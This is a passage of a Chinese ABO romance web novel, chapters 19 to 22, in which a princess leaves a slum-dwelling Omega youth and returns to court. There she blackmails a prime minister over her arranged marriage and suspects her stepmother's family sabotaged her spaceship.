他只是有些羡慕,她有一个能带她打猎、教她认水鸟的亲人。 “时候不早了,我们回去吧。”江意衡没有继续这个话题。 她起身掸去碎草叶,声响将水鸟惊开。 夕阳余晖映在她的面容上,为她笼上一层温柔却遥远的光。 简星沉忽然不知道自己哪来的勇气,开口问她:“你出门在外这些天,他应该,会想你吧?” 江意衡只是凝滞在原地。 她不说话的时候,脸上总是透着股冰冷疏离,连简星沉有时都分不清,她是不高兴,还是单纯在出神。 心中的不安愈发强烈,他又一次后悔,自己为什么要这么不识趣,为什么要惹她不快。 直到她终于撇过脸,目光落在他忐忑仰起的面容上。 少年的鬓边还沾着几片干枯的草叶,唇瓣半张,一双睁圆的眼睛眨巴着,让人生不了一点气。 江意衡的唇角勾起一点凉薄弧度,语气倒像是已经原谅了他:“你这只叽叽喳喳的小海雀,哪来这么多话。” 这天晚上,简星沉炖了腊肉焖饭。 咸香的腊汁不止渗入微焦的米饭里,还为盖在顶上的白菜叶子裹上一层漂亮的油光。 开饭时,两人却争相把木头勺子伸进锅里,一边互相推搡,一边抢着把第一勺送入对方口中。 饱足后,他们懒洋洋地坐在床上,同一条被子从脖子盖到脚踝,只露出两对套着花袜子的脚丫。 一双红,一双绿,搁在被子外面,像两对兔耳朵似的一晃一晃。 “我还以为,你会嫌它扎眼。” 少年靠在江意衡的肩头,望着她脚上那双红袜子嘟囔。 “红色有什么不好。” 江意衡对自己的选择很满意,“张扬热烈,什么都镇得住。” 她扬起视线,正瞧见白日里新买的三件衣服取代床单,在屋子中央晾成一条风景线。 江意衡拍拍少年的肩膀,伸手指去:“你以后,早上就穿蓝色,晚上穿绿色。” 简星沉点点头,又有些糊涂:“不可以早上穿绿,晚上穿蓝吗?” “你说的,也有道理。” 江意衡眯了眯眼,忽然转身,在他腰上用力掐了一把,伸手就要把他身上的开衫剥下来,“不过我觉得,你还是什么都不穿的好。” 简星沉腰上敏感,当即被她挠得举手求饶,拼命往被子里躲。 原本并排的脚丫很快叠在一起,红花压着绿叶,随嬉笑声一起淹没在被子下面。 折腾到夜半时分,江意衡还不忘抱着他嘱咐:“我给你挑的衣服,记得每天都要穿。” 少年早已累了,只从喉咙里发出舒服的咕哝声,还用额头轻蹭她的下巴。 那种被信赖和依靠的感觉,好像腊肉饭的咸香,能直接渗进她心里。 好半晌,她才伸手在他背上缓缓拍了拍,任凭他更亲昵地依偎在她的臂弯里。 等到怀里的人睡着,江意衡终于起身,披着毯子来到门口,拨通手中的通讯设备。 陆怀峰的问候谨慎且克制:“殿下想好了?” “让我和言总理说两句。”江意衡的声音十分冷静。 她自然没有注意到,床上的少年下意识地伸出臂膀,想要摸到她的位置,却什么也没摸到。 他半睁着迷蒙双眼抬起头,只看到她站在窗外,手持通讯器的背影。 第19章 新床单,还没睡过呢…… 夜色寒凉。 江意衡站在恒温力场的边界处,身前是肆虐的寒风,身后却是温暖的一隅。 陆怀峰迟疑道:“殿下是打算绕过陛下,直接与言总理谈条件?” “你今天话有点多,陆队长。” 江意衡淡声道,“你该做的,就是祈祷我这次谈话顺利。” “是。”陆怀峰收起多余的关心,“属下已动用职务权限,帮您紧急转接言总理的个人加密线路。” 不出五分钟,通讯器中传来言敬玄的声音。 “是殿下?好久不见。您这么晚找我,是有什么事?” 江意衡开门见山:“除了婚约,我还能有什么事能麻烦到您。” 隔着通讯器,江意衡听到笔尖敲在镇纸上的轻响。 “婚约?” 言敬玄笑了笑,“当初,陛下帮均和牵线这门婚事,我是真心替他高兴,也希望您能善待他。可您不但从未正面回应过,还一而再再而三地借故缺席。” 江意衡算是听出来了,言敬玄是在怪她冷落言均和。 “公务繁忙,多有顾及不到之处。您身为内阁之首,总能理解一二。” “殿下向来是一人之下、万人之上。您的行程安排,言某怎敢妄加评议。” 言敬玄顿了顿,“听闻您最近秘密在外访问,协助王室了解各地情况。这是真的吗?” 这听起来,倒像是父亲会拿来敷衍外界的理由。 “言总理,”江意衡冷声道,“拐弯抹角,可不符合您的气度。” “看来传言非虚。” 言敬玄难得端出温和语气,俨然是在关切,“您在外住得可还习惯?听说那边的天总是灰的,风沙又大。殿下贵人事忙,身边总得有人照应,给您端茶递水才是。” 直至最后,他语调一冷:“若非必要,您恐怕也不会挑这个时候,联络言某吧?” 这老狐狸似乎笃定她是自身难保,才会委托陆怀峰致电求援。 “您也太抬举自己了。” 江意衡语声从容,“您的儿子若是与我成婚,受益的可不是我,而是你们言家。” “殿下在说什么笑话。” “那我不妨替您理一理。” 江意衡不疾不徐,“您的夫人出身经商世家,家族掌管的军工企业连帝国前三都排不上。近十年,这家企业却异军突起,拿下大量本不属于他们的军工订单。您敢说,这与您毫无关系?” 不待对面反驳,江意衡又接着娓娓道来。 “为了谋取更多利益,您夫人家族的企业甚至将劣等品混入优等品中,以高于市价的水平销往边境,导致军方设备频繁报错。三个月前,甚至有人因此伤重不治。这件事,您该不会毫不知情吧?” “殿下的想象力,真是令人佩服。” 言敬玄缓缓鼓起掌来,“您深夜致电,若只是为了编造这些无厘头的故事,请恕言某无法奉陪。” “您当然可以不信我。事实上,您信或不信,我一点也不关心。” 江意衡适时一顿,“您真正该担心的,是您亲笔批示的军工订单,您借空壳公司之名收取的技术咨询费,还有您试图删除的劣质设备故障视频。” 对面沉默片刻,随即传来一声低笑。 “殿下果然锋芒毕露,不输陛下的风范。” 言敬玄近乎揶揄,“这些指控听上去确实骇人,可若真如您所说,您手中早就握有这些证据,又为何不将它们递交监察部处理?” 言敬玄在试探她的虚实。 江意衡知道,她已经抓住他的把柄,顺势又补了一刀:“我呢,不在中心区,一时半会,也想不起那些资料被我扔到哪去了。如果您有时间,我还指望着,您能帮我找找呢。” 通讯器另一端只剩下渐沉的呼吸声。 良久,言敬玄才开口:“殿下的条件是什么?” “只要您配合,一切都好说。” 言敬玄的语气恢复了一贯的客套:“那言某,似乎应该感谢殿下对言家的偏爱。” “您太客气了。” 江意衡扬起唇角,“这本就是一场共赢。” 沉默数秒后,言敬玄终于松口:“只要殿下不伤害均和,婚事,当然还有商量的余地。” 江意衡几乎能想象出,老狐狸黑着脸却不得不认栽的表情。 她满意地结束这场对话,又与陆怀峰简单寒暄几句,才断开通讯。 伫在门口静默片刻,江意衡转身回屋,指尖仍余着户外的寒意。 刚踏进门,她就看到少年裹着被子坐在床尾,像在等她。 “你怎么突然出去了?”简星沉扬起脸望着她。 “还记得那个穿黑衣、戴墨镜的男Alpha吗?” 江意衡轻轻拂过少年松软的额发,“那天是他送我回来的,他的工作就是保证我的安全。我给他报个平安,好让他能尽到他的本分。” 简星沉似懂非懂地点点头。 刚才她握住通讯器时,声音好像隔着一层屏障,他并没有听到她说了什么。 可他透过窗玻璃模糊看到的她,是他所不熟悉的冷冽,与她现在温和含笑的模样截然不同。 简星沉虽然不安,但她拂过他发丝的动作又是那么温柔,他无心再深究什么。 这几天,他们晚上折腾得久,他的身体比平时疲惫,睡得也更实。 直到天光大亮,他才醒来。 江意衡坐在矮桌前,已经换回那套高领上衣和白色长裤,唯有外套挂在一旁,挨着他的新衬衫和两件新毛衣,有些格格不入。 她正斯文地抱着一杯茶小口啜饮。 茶汁呈浅金色,底下浮沉着一圈膨胀的金黄色糙米,是他之前炒过装进小罐子里,专门留着泡水喝的。 “你要吃东西吗?” 简星沉从屋外端回余下的半锅腊肉饭,揭盖看了看,又重新盖上,转身翻出几根苞谷,“我给你,煮点新鲜的。” “不用特地给我煮,我喝茶就行。” 江意衡拦住他,“我多泡了一杯,你也来喝吧。” 可她昨天早上,明明还陪他一起吃早饭的。 简星沉心事重重地放下苞谷,开火给自己热了饭。 他抱着另一杯炒米茶,徐徐吹着热汽,在她对面坐下。 “前两天我在这里,耽误你做事了吧?” 江意衡从口袋摸出一叠钱,塞进他手里,“我之前换了一点应急的现金,虽然数额不多,但聊胜于无,就当补贴你这几天没有收入的损失。” 她说“不多”,但简星沉只粗略翻过,就数出五张一百面额的崭新纸币,干净得好像刚从印钞厂运来似的,甚至上面的编码都还是连着的。 五百块。 冬天依靠捡废品换来的收入本就少得可怜,五百块几乎抵得上他一整个冬天的收入。 她一次给了这么多,难道是打算把他撂在这里,等来年开春才回来吗? 简星沉抬眸,不声不响地打量着眼前人。 他第一次清醒地看着江意衡以这副面貌出现,发丝梳得极顺,眉毛修得一丝不苟,身姿挺拔,无一处线条不工整。 像是他只从别人话里听过的,浑然天成的雕塑一样。 “你要走?” “嗯。”江意衡的语气听不出一丝波澜。 简星沉喉咙发紧,本想说些什么,却说不出口。 她已经多留了两晚,这已经是超出预期的施恩。 如今,他也没勇气再苛求什么。 他只是忍不住觉得失落:“新床单,还没睡过呢。” 江意衡笑得温和:“我又不是不回来。” 可即便是片刻分离,也依然让他觉得煎熬。 少年红着脸,却垂下脑袋,手掌好像粘在杯子上,半天也没端起喝上一口。 忽然,他闻到一股焦味从锅里传来,如梦初醒地冲去关火,慌忙把锅挪到地上。 锅盖一揭,扑面而来的焦烟呛得他猛烈咳嗽。 “腊肉饭,都黑了,不能吃了。” 他嗫嚅着,委屈得好像要哭出来,“我怎么这么没用,连一顿饭都热不好。” “糊了就重做,没什么大不了的。” 江意衡托住他的肩,安抚他,“新床单本来就是买给你的,你先用着。” 他抬起头,眼角蓄着一点水花,缓缓点头。 眼看少年端着烧糊的锅在水池边用力铲洗,江意衡蓦地想起一件事。 “你不会相信,我今天早上看到什么。” “是什么?”他吸着鼻子,好奇地问。 “我第一次看到,墙缝里长了小草,细溜溜一根,还挺绿的。真是太奇怪了。” “在哪?” 简星沉放下锅和铲,顺手在背后擦干手上的水,“我想看看。” 江意衡指着窗台:“就在那,我拔下来了。” “你,你给拔了?” 简星沉急了,“人家长得好好的,你拔了,它会死的!” 江意衡抱着水杯,懵了懵,豁出一个无奈的笑。 “那只是墙缝里的一棵草而已啊。” 简星沉旋即跑到窗前,果然看到一株纤弱小草,正孤零零地躺在冰冷的窗台上。 茎秆还没他的小指长,叶片是小巧的卵圆形,表面生着细细的绒毛。 这么顽强的一棵草。 他轻轻叹息。 好在,小草虽然被拔下,仍留着一部分根须。 简星沉赶紧到门口刨了点泥土,装在一只掉漆的旧搪瓷杯里,用手掌捂热,才把小草小心翼翼地栽进去。 江意衡看他忙前忙后,哭笑不得:“你还真的把它当回事。” “这本来,应该是你负责的。” 少年抱住杯子,一脸郑重,“你要是不在,我就得负起责任来。” 他垂下视线,呼出的气息将杯中小草拂动,指尖极其轻柔地点在毛茸茸的叶片上,像是怕弄疼它一样。 “那你可得好好养着它。” 江意衡叹气,“你要记得,穿我让你穿的新衣服,好好吃,好好睡,对自己好一点,别总是抠抠搜搜的。” 少年忽然抬起头,翘起的发丝像怀里那棵草似的轻轻摇晃。 “你什么时候能回来?” 江意衡端起他的下巴。 她没有直接回答他的问题,只是伸手拂过他的眉毛,看着他的眼睛。 “你相信我吗?” 第20章 她玩腻了,把你踹了?…… 江意衡的眼睛是极深的琥珀色,透着微微红棕,会让人想起名为白兰地的烈酒。 与她平日里游刃有余、甚至略显冷淡的处事风格不同,这双眼睛看着人的时候,目光好像能落进人的心底。 无论是温柔还是淡漠的情绪,都能演绎得入木三分。 所有见过她的人,即便是不喜欢她,甚至与她立场对立,都会不约而同地承认,这是一双极具说服力的眼睛。 只不过是短短数秒的目光相接,少年几乎就要毫无保留,将自己的灵魂都交付给她。 “我相信。” 简星沉目不转睛地看着她,徐徐点头,“我相信你。” 他满怀着信念,直到陆怀峰前来接走她,才目送着江意衡坐在摩托车上绝尘而去。 手里,自始至终捧着那株被她拔下的无名野草。 * F区办公处,执行长官办公室内。 全息投影下的江御川托住下巴,对女儿的反应显然有些意外。 “你已经考虑清楚了?” 江意衡看着眼前由投影还原出的父亲。 血脉相连就是这么神奇。 明明相隔万里,可她就连坐在长官椅上翘起一条腿的姿势,微微斜过脸的角度,都与这位天命之年的帝国君王如出一辙。 “这并不是很难决定的事情,父亲。” 江意衡笑得坦然,“先前是我固执了些。如今我已想清,也愿与言总理的小儿子成婚。” “我给了你三天时间考虑,不过才两天,你就从抗拒到服从了?” 江御川露出一丝犹豫神情,随即摇摇头,似乎笃定江意衡在撒谎,“这不像你。” 比起那场几乎让她丧命的飞船事故,这当然算不了什么。 没有人濒临死亡,只不过是一些口头博弈而已。 江意衡表现得很是沉得住气:“您可能忘了。我上次与您通话虽然只隔了两天,但从我流落到贫民窟的那天算起,已经不止一星期。一星期能想清楚的事情太多,即便是每年的内阁大会,也不需要我准备这么久。” “时间对每个人都很公平。” 江御川目光微眯,“不过,两天前你联络我的时候,分明还没有动摇的痕迹。到底是什么,让你突然改变了主意?” 江意衡没有立即接话。 父亲是个城府极深的人,她说出口的每句话都必须经过斟酌,就连呼吸的频率与言语间的停顿,都需要小心拿捏。 譬如此刻,她沉默的时间不能超过二十秒,否则,他一定会怀疑她的动机。 二十秒结束,江意衡唇角微扬,视线却追随手指,在办公桌上轻轻划了一段。 “认清处境,接受现实,在有限的时间里做好心理准备,只是这样而已。” 她说着,抬头正视投影出的父亲。 这道投影离她不超过两米距离,而她位于F区腹地,父亲却远在都城王宫中,他们从未相隔如此之远。 可即便他们同在中心区,即便她并肩走在父亲身旁,她也从未觉得,自己与父亲之间的距离近过半分。 江御川,始终对自己钦定的王储,保持王室惯有的冰冷疏离。 不过,这位疏离的父亲到底没忘记,江意衡是他的女儿。 寒暄几句,他终于对她的态度感到满意,甚至大度提起:“晚些时候,我会派出飞船,让我的人专程去F区接你。” 江意衡心下松了口气。 可她又想起自己来时驾驶的飞船,那艘险些让她送命、却终究牺牲自身令她逃出生天的飞船。 她试探地问:“那坠毁的飞船呢?您打算怎么处理它的残骸?” “你就不用管了。” 江御川哼道,“粉身碎骨的东西,就让它留在它该在的地方。开了那么多年,早该淘汰了。” 江意衡没有作声。 那是母亲留给她的唯一遗物,承载着她最后一点念想。 可就连这点念想,在他眼中,也不过是一堆可以随手丢弃的废品。 “帝国新出的极光一号飞船,前几日刚通过军方核验。你会是整个帝国第一个拥有它的人。” 江御川仿佛是在奖励一个听话的孩子,“怎么,还不满意?” 陆怀峰被允许进入办公室的时候,全息投影早已关闭。 江意衡坐在长官椅上,面朝着正徐徐拉开的自动窗帘,表情完全隐没在座椅的颈托之后。 陆怀峰只看到她翘着一条腿,一手托在腮边,神情莫辨。 他恭敬道:“陛下那边,还顺利吗?” 江意衡起身,留下椅子原地轻转:“这得等我回到中心区之后。” 陆怀峰心领神会:“那属下应该提前恭喜您。” 江意衡起身踏出两步,目光却扫向桌上那张被涂鸦过的纸。 “我走之后,不希望这里还有关于我的任何风声。” 她抬眼,扬唇一笑,“陆队长,你知道该怎么做。” 纸上画着一个圆,圆周并非一笔画成,而是由笔尖沿着同一道轨迹反复叠加,直到力透纸背。 这是江意衡会用来帮自己专注的小习惯。 只是这次,角落里还多了一只简笔画的王冠。 陆怀峰迟疑片刻,又依循着近卫队长的本分回应:“属下会依照惯例,打点好这里的一切。” 江意衡望向窗外。 没有飞船,没有小屋,没有骑在三轮车上颠簸的背影。 只有一条毫无起伏的地平线。 她下意识地在身前扣起手指,指尖却一空。 这才想起,那条红绿相间的格纹毯,早已不在身上了。 * 简星沉载着一车废品,徐徐在家门外停下。 这是江意衡离开的第七天。 日子还是像往常一样,他每天一大早就动身去捡废品,等到车上装得不能更满,再卖掉一部分换钱回来。 江意衡给他的五百块,被他暂时存在铁盒里。 不到万不得已,他还是希望能自食其力。 因为长时间骑车的缘故,他的脸虽然被风吹得发凉,身上却热乎乎的。 微敞的外套下,正是那件蓝色高领毛衣。 他其实并不想穿着这件衣服去垃圾场,总怕一不小心弄脏了还得洗,也怕在垃圾场呆久了,会沾上什么怪味。 可这是江意衡买给他的,是她叮嘱他穿的。 他希望她回来的时候,自己能挺胸抬头地告诉她,他每天都有按照她的嘱咐,好好地穿着新衣服。 想到她的嘱托,简星沉的心里不由也暖了起来。 他正忙着往地上卸货的时候,不远处突然传来一道刺耳的口哨声。 “这才多久没见,小垃圾就穿得人模人样的。” 石彪的语气不仅仅是不屑,还带着满满的尖酸刻薄,“钱都花去买新衣服了,那老子要补的那颗牙呢?” 隔着一辆三轮车,石彪朝简星沉走近,故意仰起下巴,一根手指还指着自己断掉的牙。 “看到没?它饿了!要是你不快点攒钱给老子换铜牙,老子就拿你喂它!” “你少威胁人!” 简星沉抱紧手里的木棍,眼看石彪要冲他抡拳头,他也不甘示弱,一下子把木棍举高。 “就这,也配叫威胁?” 石彪压根没把他放在眼里,一手扒住车厢护栏,视线朝着屋门里扫,却被简星沉挡住。 小混混一下子火了,猛地吼他:“你是不是忘了,老子上次是怎么说的,啊?” 他伸手朝着少年手里的木棍狠狠一戳:“你要是到时候拿不出给我补牙的钱,我就把你心底那些见不得光的东西通通告诉她。她一定会觉得你恶心,那时候,你连哭都没地方哭!” 简星沉的反应,却出乎石彪的意料。 “我不怕你,你也威胁不到我!” 他先前确实害怕被江意衡知道心意,怕被她嫌弃到骨子里。 然而江意衡为他折返,还破天荒地没有拒绝他的心意,这是他十九年的人生里,所得到过的最大鼓励。 他不会再为自己的心意感到羞耻。 石彪搬出这些威胁,对他已经没用了。 “你胆子肥了啊?” 石彪磨着牙,伸长脖子往屋里打探,没见到人,不由觉得奇怪,“你家那女人呢?跑哪去了?” “跟你无关。” 简星沉低着头,继续卸他的废品。 “我本来还真点担心,她会冲出来替你撑腰。搞了半天,她不在。” 石彪四处张望,依然没看到江意衡的身影,这才安心绕过三轮车,直接从后面揪住少年的衣领。 “她都不在,你还有什么底气,跟老子顶嘴?” 简星沉用力挣开背后那只揪着他的手,飞也似的躲到一边,重新举起那根木棍:“她只是暂时不在,又不是不回来!你要不是成天上门找我麻烦,那颗牙根本就不会坏!明明是你自找的,我又不欠你!” “还嘴硬呢。” 石彪伸出舌头舔了舔那半颗牙,语气变得玩味,“你喊这么大声,她就能听到了?她去哪了,你知道?你凭什么觉得,她还会回来?” “她答应过我,她当然会回来。你信不信,跟我有什么关系。” 简星沉的手指在木棍上握紧,“你离开我家门前,现在就走!” “没眼色的小垃圾。”石彪翻了个白眼,反身就是一拳挥来。 简星沉抬起木棍朝前挡,试着依照江意衡教过他的技巧,先避开对方进攻,再伺机反击。 可他到底还不够熟练,小混混一套拳打脚踢,没几个回合,就把他连人带着木棍踹倒在地。 石彪一脚踩住少年的肩膀,无论少年如何扬手扑打,愣是一动不动。 “她都不在了,我看你还怎么蹦跶。” 他鼓了鼓腮,转头啐出一颗光溜溜的话梅核,在地上蹦了蹦,很快停下。 “酸不溜秋,难吃死了。” 石彪弯下腰,一手掀开简星沉的毛衣领口,要去卡他喉咙。 少年像只被惹毛的小兽,拼命用手肘撞他:“放开我!你放开我!” 石彪那只手还没掐上少年的脖子,目光一斜,先瞅到他脖子后面露出的纱布。 “什么玩意。” 他把简星沉的毛衣领子拉开,就看到少年后颈敷了一块纱布,还透着股熏人的膏药味,顺手扯了下来。 简星沉扯着嗓子,手用力向上够去:“把我的敷贴还给我!” 敷贴原本遮住的位置有一块显眼的凸起,不过指甲盖大小,上面赫然有一道咬痕。 虽然颜色浅了点,但分明是人的牙齿留下的。 石彪脸色黑了黑。 他前些时间为了捞赏金,接触过几个从外区来的有钱人。 其中有个Alpha当着他的面,毫不避讳地提起腺体和标记的事,语气露骨。 他本来只是觉得新奇。 如今才反应过来,简星沉在遮掩的,根本不是普通的伤口。 这么关键的东西,差点就被他漏了。 “你什么时候让她咬了?” 小混混拽着少年的领子,直到他的后脑离地,“她玩腻了,把你一脚踹了?” 20-30 第21章 我等不了 江意衡没有抛弃他。 简星沉很清楚这一点。 但这毕竟是他跟江意衡之间的事情,再过五百年,也轮不到一个劣迹斑斑的小混混掺和。 石彪的恶意中伤,令他怒由心起:“你不可以在别人背后说这种话。” 少年手握木棍,全身绷紧,如临大敌。 石彪一看就知道,他一定对那个女人死心塌地。 来自外区的有钱人,他才见过两次,就彻底祛了魅。 那种人,不过是靠着金钱和地位,随心所欲玩弄别人感情的人渣。 要是这小子把那种人捧在心上,他还有的苦吃呢。 “嘴长在我身上,我想说就说。” 石彪磨了磨牙,绕着简星沉的住处转了转,虽然没再上前,但也没离开。 他一见这个不合群的穷小子就觉得烦,成天在贫民窟装什么清高,以为自己是什么东西,居然还稀里糊涂地分化成了Omega…… 可偏偏这个没出息的Omega,竟然为了江意衡对他动手。 他巴不得早点看到,简星沉认清事实,垂下脑袋,彻底灰心丧气的颓样。 石彪一脚把地上几个空瓶踢开,撂下一句话。 “老子今天没工夫逗你。等过十天半个月,你掂得清自己几斤几两,知道她不会再回来,我看你还怎么在我面前死鸭子嘴硬。” * 江意衡会回来的。 简星沉抱着杯子里的小草,伫在窗前,视线穿过贫民窟荒凉萧索的土地。 小混混走后,他一直这样劝慰自己。 江意衡让他相信她,他自然要相信她。 谁都不可以挑拨她在他心里的位置。 天上不知道什么时候下了雪。 他又想起自己僵坐在门口,等到江意衡回来的那天晚上,也是下着这样的雪。 锅里的水烧滚了,锅盖被水汽顶得哐哐作响。 他慌忙回去揭开盖子,手被涌出的蒸汽烫了一下,赶紧往身上蹭了蹭。 接着拿起一个小纸包,在掌心数出十粒,正想撒进煮开的汤里,又犹豫了一下,扒回去五颗。 皱巴巴的枸杞干落入热汤里,很快吸足水分变得饱满,呈现出鲜亮的橙红色。 简星沉拿着筷子进去搅了搅。 汤汁泛着鸡油的浅黄色,还带着一点姜的辛辣,闻起来暖洋洋的。 但他还是没什么胃口。 不到十五平的屋子里,如今又只有他一个人。 自从江意衡离开后,他才发觉,自己早已习惯了她在屋里。 他习惯了她坐在床边翻他书本,习惯了她抱着膝盖望向窗外,也习惯了她时而瞥向他的目光。 即便是她那些偶尔为之的不耐烦和轻微厌弃,都还鲜活地驻留在他的脑海里。 她买给他的衬衫,他一直穿着,早上就在外面加一件蓝毛衣,晚上改加一件绿毛衣。 睡觉的时候,他就躺在她挑的新床单上,料子比他原本那条滑了不少,他很喜欢。 这些,是屋里为数不多,能证明她存在过的东西。 江意衡不在的这几日,他虽然照常外出捡废品换东西,但一回到家就会心神不宁,连着好几天都吃不下什么东西。 早上起床时,他对着杯子里的水照了照自己的脸,苍白得几乎没有血色。 伸手在脸颊上捏了捏,肉好像又瘪了一点。 这才趁着别人买鸡肉的时候,狠狠心买了两副新鲜鸡杂,和一小袋风干枸杞。 江意衡让他照顾好自己。 他不能让她失望。 简星沉伸出筷子夹起半颗鸡心送入口中,一点点咀嚼,又夹起一片鸡肫。 他要好好吃饭,用最好的样子迎接她回来。 无论是三天,五天,还是十天…… 不管多久,他都可以等。 屋里静悄悄的,唯有五颗枸杞在汤汁里缓缓沉浮,带动一朵朵油花闪动,好像在替远方的人回应他。 * 江意衡面前摆着一盘烤禽。 躯干修长,后肢以棉线绑起,金黄焦脆的外皮上洒满现磨的黑胡椒与粗盐粒,散发出香草的芬芳。 盘子里,还装饰着黄、橙、紫三种颜色的可食用花。 “怎么不尝尝?” 坐在主位上的江御川开口道。 江意衡本来就没什么胃口。 她回来不过才七天,却忽然收到父亲的邀请前来餐厅,为此不得不临时取消晚上的日程。 出于习惯,她没有马上动刀,而是先问他:“您这次,又捕了什么野禽?既没有鸭子丰满,也不像水鸟瘦小,和之前那些都不一样。” “它看起来是有点特别。你可能不记得了,但你其实见过它。” 江御川端起酒杯晃了晃,“它有自己的温房,有人给水饲肉,因为有我撑腰,根本没人敢动它。就连最凶猛的猎犬见到它,都得低头绕开它的飞行路径走。” 一种不妙的预感从江意衡心底升起。 她已然猜到什么,却无法阻止江御川继续说下去。 “我养了它十年,这十年来,它帮我捉过不计其数的兔子和小型禽类,我对它倾注的时间和心血更是无法估量。” 他俯视着杯中酒液,目光毫无温度,“你就不好奇,我为什么让人宰了它?” 他杀了自己的猎鹰! 他杀了那头无数次伴他狩猎,被誉为帝国之眼,也曾是他骄傲的鹰! 江意衡不敢相信这恐怖的事实。 但她仍强作镇定,语气波澜不惊:“我不知道缘由,但愿闻其详。” “它固然聪明、出色,却在我狩猎结束时,飞出我的视线范围,闯入王宫后苑炫耀,把王室饲养的孔雀惊得四处乱窜,漂亮的尾羽都断了几根。” 江御川放下酒杯,目光落在江意衡脸上,“它本该是我最锋利的一把刀,可再锋利的刀,一旦越界,便只能折断。你说,我还能怎么办?” 江意衡避开父亲的目光,重新审视那盘烤禽。 这头可怜的猎鹰,不过是个牺牲品。 父亲真正想要警告的,从始至终都是她。 这几日,她奔走四方,会见各路人物,暗中拉拢势力。 想来,杀鸡儆猴,才是父亲邀请她来进餐的真正目的。 她望着盘中焦脆却也死透的禽尸,脊背凉透。 如果一只稍稍“越界”的猎鹰都能被他果断处死,那她呢? 那艘坠毁的飞船,究竟是因何失控的? 江意衡沉声不语时,身后却传来一个稚气的声音。 “姐姐!” 九岁的弟弟正兴高采烈地朝她跑来,却被一只手拦住。 “昱澜,不要在你父亲面前喧哗,成何体统。” 江昱澜委屈巴巴地搅着袖子:“可是我想姐姐,姐姐好久没陪我玩了……” “父亲,您还邀请了黎姨和昱澜?”江意衡微微一怔。 “怎么,你不想见到他们?” 江御川只是轻笑,“我们一家人,可很久没这样坐下来,好好吃顿饭了。” 一家人。 江意衡望着在对面入座的两人,一个是她的继母黎书宛,另一个是她同父异母的幼弟。 继母正哄住不安分的弟弟,抬头朝着江御川莞尔一笑。 好一幅其乐融融的画面。 江意衡起身,语气平静:“我还有事,恐怕不能留在这里陪各位用餐。” 江御川微微不悦地叫住她:“才刚来,不吃个饭再走?” “我没什么胃口。” 江意衡转身离开前,正撞上继母的目光。 黎书宛迟疑着垂下目光,指尖拢了拢餐巾,一副欲言又止模样。 江意衡的视线在继母脸上停留了两秒,才不动声色地收回。 她礼貌地向着江御川鞠躬:“您和他们吃就好,我不饿。何况,我还赶着与言家人商议订婚事宜。” 踏出餐厅大门时,身后传来江昱澜天真的话语。 “父亲,这是烤的什么肉呀?” “一只普通的野鸟罢了。昱澜应该还没尝过吧?” * “陛下让人宰了他最爱的那头猎鹰?这不可能。” 通讯线路另一端,陆怀峰的声音虽然隐含震惊,但仍不失冷静,“陛下的猎鹰本就到了退役的年龄,或许只是送去深山老林养老而已。殿下确定,这不是陛下在虚张声势?” “关心这些有意义吗?” 江意衡笑得毫不在意,“故事已经传达到位,真相如何,又有什么重要的。陆队长,你该关注的,是我让你去调查的那份飞船事故报告。你发给我的这份并不完整,缺失的部分呢?” 陆怀峰坦然:“殿下,您要的那份报告已被加密。以我的权限,无法查看完整内容。” “你可是近卫队长,负责王室成员的人身安全,整个帝国就没几个人的权限比你高。” 江意衡微微不满,“没想到,连你都看不到。” 陆怀峰顿了顿,解释道:“报告是由光脑中枢直接加密的,只有陛下本人,或是他亲自授权过的近臣,才有查看权限。” “看来,父亲是铁了心,不让我知道真相。” 江意衡轻声自嘲,手指却缓缓握紧。 身在国王的位置上,父亲不必亲自出手,只需等待事故发生,再用权限封口,就可以将自己摘得干净。 “属下另外查到一件事。” 陆怀峰压低声音,“安全署内部最近转移了一名可疑线人,或许与您的飞船失事有关。” “可疑?” 江意衡皱眉,“这个人怎么了?” “表面上,此人是被安置在安全屋,但那里的布防极其严密,里三层外三层,连只苍蝇都飞不进去。与其说是在保护他,倒不如说是在软禁他,防止他走漏风声。” 江意衡语气微沉:“你说的这个人,是谁?” “与黎家有关。具体身份,属下尚未查明。” “已经足够了。”江意衡的声音一下子冷了下来。 一切线索都在指向同一个事实。 继母家族的人,与她飞船的坠毁事故脱不了干系。 而她的父亲,却在掩饰这一点。 这根本就不是意外,而是一场谋杀未遂。 她的父亲,只是选择了睁一只眼闭一只眼。 她如今还能站在这里,是该庆幸自己命大吗? 加密的通讯线路那端,陆怀峰似乎察觉到什么。 他问得更谨慎:“殿下,您还好吗?” “我有什么不好的。” 江意衡笑了,“至少,我还活着。” “还有一件事。” 陆怀峰补充道,“关于您约见言小公子喝下午茶的事情,计划有变。原定时间临时有冲突,您可能需要推迟会面。” 江意衡径直走到她的新飞船前。 极光一号造型流畅,材质却很低调,静止时几乎能融入夜色,只有飞行时才会留下极光一样的炫目光晕。 她抬眼,飞船识别出她的生物信息,自动打开舱门。 “我等不了。” 江意衡的语气冷静异常,“言均和现在在哪?” 第22章 她要娶别人了 位于中心区第六大道的星曜剧院。 晚十点五十分,一场芭蕾舞表演刚刚落幕。 言均和从舞台后台回到自己的化妆室,刚把一大束捧花放在化妆镜前,就从镜中看到一道身着黑衣的身影。 江意衡背靠着墙,正在翻阅一本布满小标的舞台剧本,低头注视的模样尤为专注。 言均和没有转身,只是对着镜中轻轻一笑:“殿下深夜突然造访,是有什么急事?” “我刚刚在翻看你的台词。” 江意衡翻动纸页的手指忽然停下,“不得不说,王子在《天鹅湖》里的戏份,相比于女主角,真是少得可怜。” 她这才抬头,对上镜中映出的“王子”的脸。 虽然为舞台而打造的妆容保留了角色本身的优雅高贵,但狭长双目与眼尾微微挑起的弧度,在黑色眼线的加深下,却透着股与王子截然不同的冷意。 尤其是修容勾勒出的鼻骨轮廓,配以薄唇,更是疏离得很。 此时,这张疏离的脸抬起,目光落在江意衡从容的面容上,语气带着防备:“如果殿下只是为了评判我的角色,那您似乎走错了地方。” “别误会,我和那些成天品鉴艺术的评论家可没什么交集。” 江意衡放下台本,两只手朝后撑在桌子边,迎上他的目光,“他们喜欢你的表演,不是吗?” 她的目光扫过他桌上的捧花,香槟色玫瑰与蓝色绣球花将捧花包装纸撑得满当当,是热情观众为心仪演员送上的应援花束。 言均和的手指从花上拂过:“您特意来到我的私人化妆室找我,就是为了我的花?” “当然不是。” 江意衡歪过头,“我可是看完了你一整场表演呢。” “您应该提前通知我一声,这样,我还能为您留下位置最好的贵宾席。” 言均和笑了笑,“之前邀请殿下前来观赏表演的时候,我可不记得,您有这么好的兴致。” “所以,这就是你一再推迟与我会面的理由?” 